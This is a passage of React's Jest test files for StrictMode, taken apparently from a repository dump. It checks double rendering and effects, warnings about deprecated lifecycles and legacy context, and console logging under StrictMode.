    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\ndescribe('ReactStrictMode', () => {\n  let React;\n  let ReactDOMClient;\n  let act;\n\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n\n    act = require('internal-test-utils').act;\n  });\n\n  describe('levels', () => {\n    let log;\n\n    beforeEach(() => {\n      log = [];\n    });\n\n    function Component({label}) {\n      React.useEffect(() => {\n        log.push(`${label}: useEffect mount`);\n        return () => log.push(`${label}: useEffect unmount`);\n      });\n\n      React.useLayoutEffect(() => {\n        log.push(`${label}: useLayoutEffect mount`);\n        return () => log.push(`${label}: useLayoutEffect unmount`);\n      });\n\n      log.push(`${label}: render`);\n\n      return null;\n    }\n\n    it('should default to not strict', async () => {\n      await act(() => {\n        const container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        root.render(<Component label=\"A\" />);\n      });\n\n      expect(log).toEqual([\n        'A: render',\n        'A: useLayoutEffect mount',\n        'A: useEffect mount',\n      ]);\n    });\n\n    if (__DEV__) {\n      it('should support enabling strict mode via createRoot option', async () => {\n        await act(() => {\n          const container = document.createElement('div');\n          const root = ReactDOMClient.createRoot(container, {\n            unstable_strictMode: true,\n          });\n          root.render(<Component label=\"A\" />);\n        });\n\n        expect(log).toEqual([\n          'A: render',\n          'A: render',\n          'A: useLayoutEffect mount',\n          'A: useEffect mount',\n          'A: useLayoutEffect unmount',\n          'A: useEffect unmount',\n          'A: useLayoutEffect mount',\n          'A: useEffect mount',\n        ]);\n      });\n\n      it('should include legacy + strict effects mode', async () => {\n        await act(() => {\n          const container = document.createElement('div');\n          const root = ReactDOMClient.createRoot(container);\n          root.render(\n            <React.StrictMode>\n              <Component label=\"A\" />\n            </React.StrictMode>,\n          );\n        });\n\n        expect(log).toEqual([\n          'A: render',\n          'A: render',\n          'A: useLayoutEffect mount',\n          'A: useEffect mount',\n          'A: useLayoutEffect unmount',\n          'A: useEffect unmount',\n          'A: useLayoutEffect mount',\n          'A: useEffect mount',\n        ]);\n      });\n\n      it('should allow level to be increased with nesting', async () => {\n        await act(() => {\n          const container = document.createElement('div');\n          const root = ReactDOMClient.createRoot(container);\n          root.render(\n            <>\n              <Component label=\"A\" />\n              <React.StrictMode>\n                <Component label=\"B\" />,\n              </React.StrictMode>\n              ,\n            </>,\n          );\n        });\n\n        expect(log).toEqual([\n          'A: render',\n          'B: render',\n          'B: render',\n          'A: useLayoutEffect mount',\n          'B: useLayoutEffect mount',\n          'A: useEffect mount',\n          'B: useEffect mount',\n          'B: useLayoutEffect unmount',\n          'B: useEffect unmount',\n          'B: useLayoutEffect mount',\n          'B: useEffect mount',\n        ]);\n      });\n\n      it('should support nested strict mode on initial mount', async () => {\n        function Wrapper({children}) {\n          return children;\n        }\n        await act(() => {\n          const container = document.createElement('div');\n          const root = ReactDOMClient.createRoot(container);\n          root.render(\n            <Wrapper>\n              <Component label=\"A\" />\n              <React.StrictMode>\n                <Component label=\"B\" />,\n              </React.StrictMode>\n              ,\n            </Wrapper>,\n          );\n        });\n\n        expect(log).toEqual([\n          'A: render',\n          'B: render',\n          'B: render',\n          'A: useLayoutEffect mount',\n          'B: useLayoutEffect mount',\n          'A: useEffect mount',\n          'B: useEffect mount',\n          // TODO: this is currently broken\n          // 'B: useLayoutEffect unmount',\n          // 'B: useEffect unmount',\n          // 'B: useLayoutEffect mount',\n          // 'B: useEffect mount',\n        ]);\n      });\n    }\n  });\n});\n"
  },
  {
    "path": "packages/react/src/__tests__/ReactStrictMode-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOM;\nlet ReactDOMClient;\nlet ReactDOMServer;\nlet PropTypes;\nlet act;\nlet useMemo;\nlet useState;\nlet useReducer;\nlet assertConsoleErrorDev;\nlet assertConsoleWarnDev;\n\ndescribe('ReactStrictMode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOM = require('react-dom');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n    ({\n      act,\n      assertConsoleErrorDev,\n      assertConsoleWarnDev,\n    } = require('internal-test-utils'));\n    useMemo = React.useMemo;\n    useState = React.useState;\n    useReducer = React.useReducer;\n  });\n\n  it('should appear in the client component stack', async () => {\n    function Foo() {\n      return <div ariaTypo=\"\" />;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <Foo />\n        </React.StrictMode>,\n      );\n    });\n    assertConsoleErrorDev([\n      'Invalid ARIA attribute `ariaTypo`. ' +\n        'ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in div (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  it('should appear in the SSR component stack', () => {\n    function Foo() {\n      return <div ariaTypo=\"\" />;\n    }\n\n    ReactDOMServer.renderToString(\n      <React.StrictMode>\n        <Foo />\n      </React.StrictMode>,\n    );\n    assertConsoleErrorDev([\n      'Invalid ARIA attribute `ariaTypo`. ' +\n        'ARIA attributes follow the pattern aria-* and must be lowercase.\\n' +\n        '    in div (at **)\\n' +\n        '    in Foo (at **)',\n    ]);\n  });\n\n  // @gate __DEV__\n  // @gate !disableLegacyMode\n  it('should invoke only precommit lifecycle methods twice in legacy roots', async () => {\n    let log = [];\n    let shouldComponentUpdate = false;\n    class ClassComponent extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        log.push('getDerivedStateFromProps');\n        return null;\n      }\n      constructor(props) {\n        super(props);\n        log.push('constructor');\n      }\n      componentDidMount() {\n        log.push('componentDidMount');\n      }\n      componentDidUpdate() {\n        log.push('componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n      shouldComponentUpdate() {\n        log.push('shouldComponentUpdate');\n        return shouldComponentUpdate;\n      }\n      render() {\n        log.push('render');\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <React.StrictMode>\n        <ClassComponent />\n      </React.StrictMode>,\n      container,\n    );\n\n    expect(log).toEqual([\n      'constructor',\n      'constructor',\n      'getDerivedStateFromProps',\n      'getDerivedStateFromProps',\n      'render',\n      'render',\n      'componentDidMount',\n    ]);\n\n    log = [];\n    shouldComponentUpdate = true;\n\n    ReactDOM.render(\n      <React.StrictMode>\n        <ClassComponent />\n      </React.StrictMode>,\n      container,\n    );\n    expect(log).toEqual([\n      'getDerivedStateFromProps',\n      'getDerivedStateFromProps',\n      'shouldComponentUpdate',\n      'shouldComponentUpdate',\n      'render',\n      'render',\n      'componentDidUpdate',\n    ]);\n\n    log = [];\n    shouldComponentUpdate = false;\n\n    ReactDOM.render(\n      <React.StrictMode>\n        <ClassComponent />\n      </React.StrictMode>,\n      container,\n    );\n\n    expect(log).toEqual([\n      'getDerivedStateFromProps',\n      'getDerivedStateFromProps',\n      'shouldComponentUpdate',\n      'shouldComponentUpdate',\n    ]);\n  });\n\n  it('should invoke setState callbacks twice', async () => {\n    let instance;\n    class ClassComponent extends React.Component {\n      state = {\n        count: 1,\n      };\n      render() {\n        instance = this;\n        return null;\n      }\n    }\n\n    let setStateCount = 0;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <ClassComponent />\n        </React.StrictMode>,\n      );\n    });\n    await act(() => {\n      instance.setState(state => {\n        setStateCount++;\n        return {\n          count: state.count + 1,\n        };\n      });\n    });\n\n    // Callback should be invoked twice in DEV\n    expect(setStateCount).toBe(__DEV__ ? 2 : 1);\n    // But each time `state` should be the previous value\n    expect(instance.state.count).toBe(2);\n  });\n\n  // @gate __DEV__\n  it('double invokes useState and useReducer initializers functions', async () => {\n    const log = [];\n\n    function App() {\n      React.useState(() => {\n        log.push('Compute initial state count: 1');\n        return 1;\n      });\n      React.useReducer(\n        s => s,\n        2,\n        s => {\n          log.push('Compute initial reducer count: 2');\n          return s;\n        },\n      );\n\n      return 3;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      );\n    });\n    expect(container.textContent).toBe('3');\n\n    expect(log).toEqual([\n      'Compute initial state count: 1',\n      'Compute initial state count: 1',\n      'Compute initial reducer count: 2',\n      'Compute initial reducer count: 2',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('should invoke only precommit lifecycle methods twice in DEV legacy roots', async () => {\n    const {StrictMode} = React;\n\n    let log = [];\n    let shouldComponentUpdate = false;\n\n    function Root() {\n      return (\n        <StrictMode>\n          <ClassComponent />\n        </StrictMode>\n      );\n    }\n\n    class ClassComponent extends React.Component {\n      state = {};\n      static getDerivedStateFromProps() {\n        log.push('getDerivedStateFromProps');\n        return null;\n      }\n      constructor(props) {\n        super(props);\n        log.push('constructor');\n      }\n      componentDidMount() {\n        log.push('componentDidMount');\n      }\n      componentDidUpdate() {\n        log.push('componentDidUpdate');\n      }\n      componentWillUnmount() {\n        log.push('componentWillUnmount');\n      }\n      shouldComponentUpdate() {\n        log.push('shouldComponentUpdate');\n        return shouldComponentUpdate;\n      }\n      render() {\n        log.push('render');\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(<Root />, container);\n\n    if (__DEV__) {\n      expect(log).toEqual([\n        'constructor',\n        'constructor',\n        'getDerivedStateFromProps',\n        'getDerivedStateFromProps',\n        'render',\n        'render',\n        'componentDidMount',\n      ]);\n    } else {\n      expect(log).toEqual([\n        'constructor',\n        'getDerivedStateFromProps',\n        'render',\n        'componentDidMount',\n      ]);\n    }\n\n    log = [];\n    shouldComponentUpdate = true;\n\n    ReactDOM.render(<Root />, container);\n    if (__DEV__) {\n      expect(log).toEqual([\n        'getDerivedStateFromProps',\n        'getDerivedStateFromProps',\n        'shouldComponentUpdate',\n        'shouldComponentUpdate',\n        'render',\n        'render',\n        'componentDidUpdate',\n      ]);\n    } else {\n      expect(log).toEqual([\n        'getDerivedStateFromProps',\n        'shouldComponentUpdate',\n        'render',\n        'componentDidUpdate',\n      ]);\n    }\n\n    log = [];\n    shouldComponentUpdate = false;\n\n    ReactDOM.render(<Root />, container);\n    if (__DEV__) {\n      expect(log).toEqual([\n        'getDerivedStateFromProps',\n        'getDerivedStateFromProps',\n        'shouldComponentUpdate',\n        'shouldComponentUpdate',\n      ]);\n    } else {\n      expect(log).toEqual([\n        'getDerivedStateFromProps',\n        'shouldComponentUpdate',\n      ]);\n    }\n  });\n\n  it('should invoke setState callbacks twice in DEV', async () => {\n    const {StrictMode} = React;\n\n    let instance;\n    class ClassComponent extends React.Component {\n      state = {\n        count: 1,\n      };\n      render() {\n        instance = this;\n        return null;\n      }\n    }\n\n    let setStateCount = 0;\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <StrictMode>\n          <ClassComponent />\n        </StrictMode>,\n      );\n    });\n    await act(() => {\n      instance.setState(state => {\n        setStateCount++;\n        return {\n          count: state.count + 1,\n        };\n      });\n    });\n\n    // Callback should be invoked twice (in DEV)\n    expect(setStateCount).toBe(__DEV__ ? 2 : 1);\n    // But each time `state` should be the previous value\n    expect(instance.state.count).toBe(2);\n  });\n\n  // @gate __DEV__\n  it('double invokes useMemo functions', async () => {\n    let log = [];\n\n    function Uppercased({text}) {\n      return useMemo(() => {\n        const uppercased = text.toUpperCase();\n        log.push('Compute toUpperCase: ' + uppercased);\n        return uppercased;\n      }, [text]);\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    // Mount\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <Uppercased text=\"hello\" />\n        </React.StrictMode>,\n      );\n    });\n    expect(container.textContent).toBe('HELLO');\n    expect(log).toEqual([\n      'Compute toUpperCase: HELLO',\n      'Compute toUpperCase: HELLO',\n    ]);\n\n    log = [];\n\n    // Update\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <Uppercased text=\"goodbye\" />\n        </React.StrictMode>,\n      );\n    });\n    expect(container.textContent).toBe('GOODBYE');\n    expect(log).toEqual([\n      'Compute toUpperCase: GOODBYE',\n      'Compute toUpperCase: GOODBYE',\n    ]);\n  });\n\n  // @gate __DEV__\n  it('double invokes useMemo functions with first result', async () => {\n    let log = [];\n    function Uppercased({text}) {\n      const memoizedResult = useMemo(() => {\n        const uppercased = text.toUpperCase();\n        log.push('Compute toUpperCase: ' + uppercased);\n        return {uppercased};\n      }, [text]);\n\n      // Push this to the log so we can check whether the same memoized result\n      // it returned during both invocations.\n      log.push(memoizedResult);\n\n      return memoizedResult.uppercased;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    // Mount\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <Uppercased text=\"hello\" />\n        </React.StrictMode>,\n      );\n    });\n    expect(container.textContent).toBe('HELLO');\n    expect(log).toEqual([\n      'Compute toUpperCase: HELLO',\n      'Compute toUpperCase: HELLO',\n      {uppercased: 'HELLO'},\n      {uppercased: 'HELLO'},\n    ]);\n\n    // Even though the memoized function is invoked twice, the same object\n    // is returned both times.\n    expect(log[2]).toBe(log[3]);\n\n    log = [];\n\n    // Update\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <Uppercased text=\"goodbye\" />\n        </React.StrictMode>,\n      );\n    });\n    expect(container.textContent).toBe('GOODBYE');\n    expect(log).toEqual([\n      'Compute toUpperCase: GOODBYE',\n      'Compute toUpperCase: GOODBYE',\n      {uppercased: 'GOODBYE'},\n      {uppercased: 'GOODBYE'},\n    ]);\n\n    // Even though the memoized function is invoked twice, the same object\n    // is returned both times.\n    expect(log[2]).toBe(log[3]);\n  });\n\n  // @gate __DEV__\n  it('double invokes setState updater functions', async () => {\n    const log = [];\n\n    let setCount;\n    function App() {\n      const [count, _setCount] = useState(0);\n      setCount = _setCount;\n      return count;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      );\n    });\n    expect(container.textContent).toBe('0');\n\n    await act(() => {\n      setCount(() => {\n        log.push('Compute count: 1');\n        return 1;\n      });\n    });\n    expect(container.textContent).toBe('1');\n    expect(log).toEqual(['Compute count: 1', 'Compute count: 1']);\n  });\n\n  // @gate __DEV__\n  it('double invokes reducer functions', async () => {\n    const log = [];\n\n    function reducer(prevState, action) {\n      log.push('Compute new state: ' + action);\n      return action;\n    }\n\n    let dispatch;\n    function App() {\n      const [count, _dispatch] = useReducer(reducer, 0);\n      dispatch = _dispatch;\n      return count;\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => {\n      root.render(\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>,\n      );\n    });\n    expect(container.textContent).toBe('0');\n\n    await act(() => {\n      dispatch(1);\n    });\n    expect(container.textContent).toBe('1');\n    expect(log).toEqual(['Compute new state: 1', 'Compute new state: 1']);\n  });\n});\n\ndescribe('Concurrent Mode', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n  });\n\n  it('should warn about unsafe legacy lifecycle methods anywhere in a StrictMode tree', async () => {\n    function StrictRoot() {\n      return (\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>\n      );\n    }\n    class App extends React.Component {\n      UNSAFE_componentWillMount() {}\n      UNSAFE_componentWillUpdate() {}\n      render() {\n        return (\n          <div>\n            <Wrapper>\n              <Foo />\n            </Wrapper>\n            <div>\n              <Bar />\n              <Foo />\n            </div>\n          </div>\n        );\n      }\n    }\n    function Wrapper({children}) {\n      return <div>{children}</div>;\n    }\n    class Foo extends React.Component {\n      UNSAFE_componentWillReceiveProps() {}\n      render() {\n        return null;\n      }\n    }\n    class Bar extends React.Component {\n      UNSAFE_componentWillReceiveProps() {}\n      render() {\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<StrictRoot />));\n    assertConsoleErrorDev([\n      `Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move code with side effects to componentDidMount, and set initial state in the constructor.\n\nPlease update the following components: App`,\n      `Using UNSAFE_componentWillReceiveProps in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n\nPlease update the following components: Bar, Foo`,\n      `Using UNSAFE_componentWillUpdate in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n\nPlease update the following components: App`,\n    ]);\n\n    // Dedupe\n    await act(() => root.render(<App />));\n  });\n\n  it('should coalesce warnings by lifecycle name', async () => {\n    function StrictRoot() {\n      return (\n        <React.StrictMode>\n          <App />\n        </React.StrictMode>\n      );\n    }\n    class App extends React.Component {\n      UNSAFE_componentWillMount() {}\n      UNSAFE_componentWillUpdate() {}\n      render() {\n        return <Parent />;\n      }\n    }\n    class Parent extends React.Component {\n      componentWillMount() {}\n      componentWillUpdate() {}\n      componentWillReceiveProps() {}\n      render() {\n        return <Child />;\n      }\n    }\n    class Child extends React.Component {\n      UNSAFE_componentWillReceiveProps() {}\n      render() {\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n\n    await act(() => root.render(<StrictRoot />));\n    assertConsoleErrorDev([\n      `Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move code with side effects to componentDidMount, and set initial state in the constructor.\n\nPlease update the following components: App`,\n      `Using UNSAFE_componentWillReceiveProps in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n\nPlease update the following components: Child`,\n      `Using UNSAFE_componentWillUpdate in strict mode is not recommended and may indicate bugs in your code. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n\nPlease update the following components: App`,\n    ]);\n    assertConsoleWarnDev([\n      `componentWillMount has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move code with side effects to componentDidMount, and set initial state in the constructor.\n* Rename componentWillMount to UNSAFE_componentWillMount to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \\`npx react-codemod rename-unsafe-lifecycles\\` in your project source folder.\n\nPlease update the following components: Parent`,\n      `componentWillReceiveProps has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* If you're updating state whenever props change, refactor your code to use memoization techniques or move it to static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\n* Rename componentWillReceiveProps to UNSAFE_componentWillReceiveProps to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \\`npx react-codemod rename-unsafe-lifecycles\\` in your project source folder.\n\nPlease update the following components: Parent`,\n      `componentWillUpdate has been renamed, and is not recommended for use. See https://react.dev/link/unsafe-component-lifecycles for details.\n\n* Move data fetching code or side effects to componentDidUpdate.\n* Rename componentWillUpdate to UNSAFE_componentWillUpdate to suppress this warning in non-strict mode. In React 18.x, only the UNSAFE_ name will work. To rename all deprecated lifecycles to their new names, you can run \\`npx react-codemod rename-unsafe-lifecycles\\` in your project source folder.\n\nPlease update the following components: Parent`,\n    ]);\n    // Dedupe\n    await act(() => root.render(<StrictRoot />));\n  });\n\n  it('should warn about components not present during the initial render', async () => {\n    function StrictRoot({foo}) {\n      return <React.StrictMode>{foo ? <Foo /> : <Bar />}</React.StrictMode>;\n    }\n    class Foo extends React.Component {\n      UNSAFE_componentWillMount() {}\n      render() {\n        return null;\n      }\n    }\n    class Bar extends React.Component {\n      UNSAFE_componentWillMount() {}\n      render() {\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => root.render(<StrictRoot foo={true} />));\n    assertConsoleErrorDev([\n      'Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n\\n' +\n        'Please update the following components: Foo',\n    ]);\n\n    await act(() => root.render(<StrictRoot foo={false} />));\n    assertConsoleErrorDev([\n      'Using UNSAFE_componentWillMount in strict mode is not recommended and may indicate bugs in your code. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move code with side effects to componentDidMount, and set initial state in the constructor.\\n\\n' +\n        'Please update the following components: Bar',\n    ]);\n\n    // Dedupe\n    await act(() => root.render(<StrictRoot foo={true} />));\n    await act(() => root.render(<StrictRoot foo={false} />));\n  });\n\n  it('should also warn inside of \"strict\" mode trees', async () => {\n    const {StrictMode} = React;\n\n    class SyncRoot extends React.Component {\n      UNSAFE_componentWillMount() {}\n      UNSAFE_componentWillUpdate() {}\n      UNSAFE_componentWillReceiveProps() {}\n      render() {\n        return (\n          <StrictMode>\n            <Wrapper />\n          </StrictMode>\n        );\n      }\n    }\n    function Wrapper({children}) {\n      return (\n        <div>\n          <Bar />\n          <Foo />\n        </div>\n      );\n    }\n    class Foo extends React.Component {\n      UNSAFE_componentWillReceiveProps() {}\n      render() {\n        return null;\n      }\n    }\n    class Bar extends React.Component {\n      UNSAFE_componentWillReceiveProps() {}\n      render() {\n        return null;\n      }\n    }\n\n    const container = document.createElement('div');\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<SyncRoot />);\n    });\n    assertConsoleErrorDev([\n      'Using UNSAFE_componentWillReceiveProps in strict mode is not recommended ' +\n        'and may indicate bugs in your code. ' +\n        'See https://react.dev/link/unsafe-component-lifecycles for details.\\n\\n' +\n        '* Move data fetching code or side effects to componentDidUpdate.\\n' +\n        \"* If you're updating state whenever props change, \" +\n        'refactor your code to use memoization techniques or move it to ' +\n        'static getDerivedStateFromProps. Learn more at: https://react.dev/link/derived-state\\n\\n' +\n        'Please update the following components: Bar, Foo',\n    ]);\n\n    // Dedupe\n    await act(() => {\n      root.render(<SyncRoot />);\n    });\n  });\n});\n\ndescribe('symbol checks', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n  });\n\n  it('should switch from StrictMode to a Fragment and reset state', async () => {\n    const {Fragment, StrictMode} = React;\n\n    function ParentComponent({useFragment}) {\n      return useFragment ? (\n        <Fragment>\n          <ChildComponent />\n        </Fragment>\n      ) : (\n        <StrictMode>\n          <ChildComponent />\n        </StrictMode>\n      );\n    }\n\n    class ChildComponent extends React.Component {\n      state = {\n        count: 0,\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          count: prevState.count + 1,\n        };\n      }\n      render() {\n        return `count:${this.state.count}`;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<ParentComponent useFragment={false} />);\n    });\n    expect(container.textContent).toBe('count:1');\n    await act(() => {\n      root.render(<ParentComponent useFragment={true} />);\n    });\n    expect(container.textContent).toBe('count:1');\n  });\n\n  it('should switch from a Fragment to StrictMode and reset state', async () => {\n    const {Fragment, StrictMode} = React;\n\n    function ParentComponent({useFragment}) {\n      return useFragment ? (\n        <Fragment>\n          <ChildComponent />\n        </Fragment>\n      ) : (\n        <StrictMode>\n          <ChildComponent />\n        </StrictMode>\n      );\n    }\n\n    class ChildComponent extends React.Component {\n      state = {\n        count: 0,\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          count: prevState.count + 1,\n        };\n      }\n      render() {\n        return `count:${this.state.count}`;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<ParentComponent useFragment={true} />);\n    });\n    expect(container.textContent).toBe('count:1');\n    await act(() => {\n      root.render(<ParentComponent useFragment={false} />);\n    });\n    expect(container.textContent).toBe('count:1');\n  });\n\n  it('should update with StrictMode without losing state', async () => {\n    const {StrictMode} = React;\n\n    function ParentComponent() {\n      return (\n        <StrictMode>\n          <ChildComponent />\n        </StrictMode>\n      );\n    }\n\n    class ChildComponent extends React.Component {\n      state = {\n        count: 0,\n      };\n      static getDerivedStateFromProps(nextProps, prevState) {\n        return {\n          count: prevState.count + 1,\n        };\n      }\n      render() {\n        return `count:${this.state.count}`;\n      }\n    }\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<ParentComponent />);\n    });\n    expect(container.textContent).toBe('count:1');\n    await act(() => {\n      root.render(<ParentComponent />);\n    });\n    expect(container.textContent).toBe('count:2');\n  });\n});\n\ndescribe('context legacy', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    PropTypes = require('prop-types');\n  });\n\n  afterEach(() => {\n    jest.restoreAllMocks();\n  });\n\n  // @gate !disableLegacyContext || !__DEV__\n  it('should warn if the legacy context API have been used in strict mode', async () => {\n    class LegacyContextProvider extends React.Component {\n      getChildContext() {\n        return {color: 'purple'};\n      }\n\n      render() {\n        return (\n          <div>\n            <LegacyContextConsumer />\n            <FunctionalLegacyContextConsumer />\n          </div>\n        );\n      }\n    }\n\n    function FunctionalLegacyContextConsumer() {\n      return null;\n    }\n\n    LegacyContextProvider.childContextTypes = {\n      color: PropTypes.string,\n    };\n\n    class LegacyContextConsumer extends React.Component {\n      render() {\n        return null;\n      }\n    }\n\n    const {StrictMode} = React;\n\n    class Root extends React.Component {\n      render() {\n        return (\n          <div>\n            <StrictMode>\n              <LegacyContextProvider />\n            </StrictMode>\n          </div>\n        );\n      }\n    }\n\n    LegacyContextConsumer.contextTypes = {\n      color: PropTypes.string,\n    };\n\n    FunctionalLegacyContextConsumer.contextTypes = {\n      color: PropTypes.string,\n    };\n\n    const container = document.createElement('div');\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Root />);\n    });\n\n    assertConsoleErrorDev([\n      'LegacyContextProvider uses the legacy childContextTypes API ' +\n        'which will soon be removed. Use React.createContext() instead. ' +\n        '(https://react.dev/link/legacy-context)' +\n        '\\n    in Root (at **)',\n      'LegacyContextConsumer uses the legacy contextTypes API which ' +\n        'will soon be removed. Use React.createContext() with static ' +\n        'contextType instead. (https://react.dev/link/legacy-context)' +\n        '\\n    in LegacyContextProvider (at **)' +\n        '\\n    in Root (at **)',\n      'FunctionalLegacyContextConsumer uses the legacy contextTypes ' +\n        'API which will be removed soon. Use React.createContext() ' +\n        'with React.useContext() instead. (https://react.dev/link/legacy-context)' +\n        '\\n    in LegacyContextProvider (at **)' +\n        '\\n    in Root (at **)',\n      'Legacy context API has been detected within a strict-mode tree.' +\n        '\\n\\nThe old API will be supported in all 16.x releases, but applications ' +\n        'using it should migrate to the new version.' +\n        '\\n\\nPlease update the following components: ' +\n        'FunctionalLegacyContextConsumer, LegacyContextConsumer, LegacyContextProvider' +\n        '\\n\\nLearn more about this warning here: ' +\n        'https://react.dev/link/legacy-context' +\n        '\\n    in Root (at **)',\n    ]);\n\n    // Dedupe\n    await act(() => {\n      root.render(<Root />);\n    });\n  });\n\n  describe('console logs logging', () => {\n    beforeEach(() => {\n      jest.resetModules();\n      React = require('react');\n      ReactDOMClient = require('react-dom/client');\n      act = require('internal-test-utils').act;\n\n      // These tests are specifically testing console.log.\n      spyOnDevAndProd(console, 'log').mockImplementation(() => {});\n    });\n\n    afterEach(() => {\n      console.log.mockRestore();\n    });\n\n    it('does not disable logs for class double render', async () => {\n      let count = 0;\n      class Foo extends React.Component {\n        render() {\n          count++;\n          console.log('foo ' + count);\n          return null;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          </React.StrictMode>,\n        );\n      });\n      expect(count).toBe(__DEV__ ? 2 : 1);\n      expect(console.log).toBeCalledTimes(__DEV__ ? 2 : 1);\n      // Note: we should display the first log because otherwise\n      // there is a risk of suppressing warnings when they happen,\n      // and on the next render they'd get deduplicated and ignored.\n      expect(console.log).toBeCalledWith('foo 1');\n    });\n\n    it('does not disable logs for class double ctor', async () => {\n      let count = 0;\n      class Foo extends React.Component {\n        constructor(props) {\n          super(props);\n          count++;\n          console.log('foo ' + count);\n        }\n        render() {\n          return null;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <React.StrictMode>\n            <Foo />\n          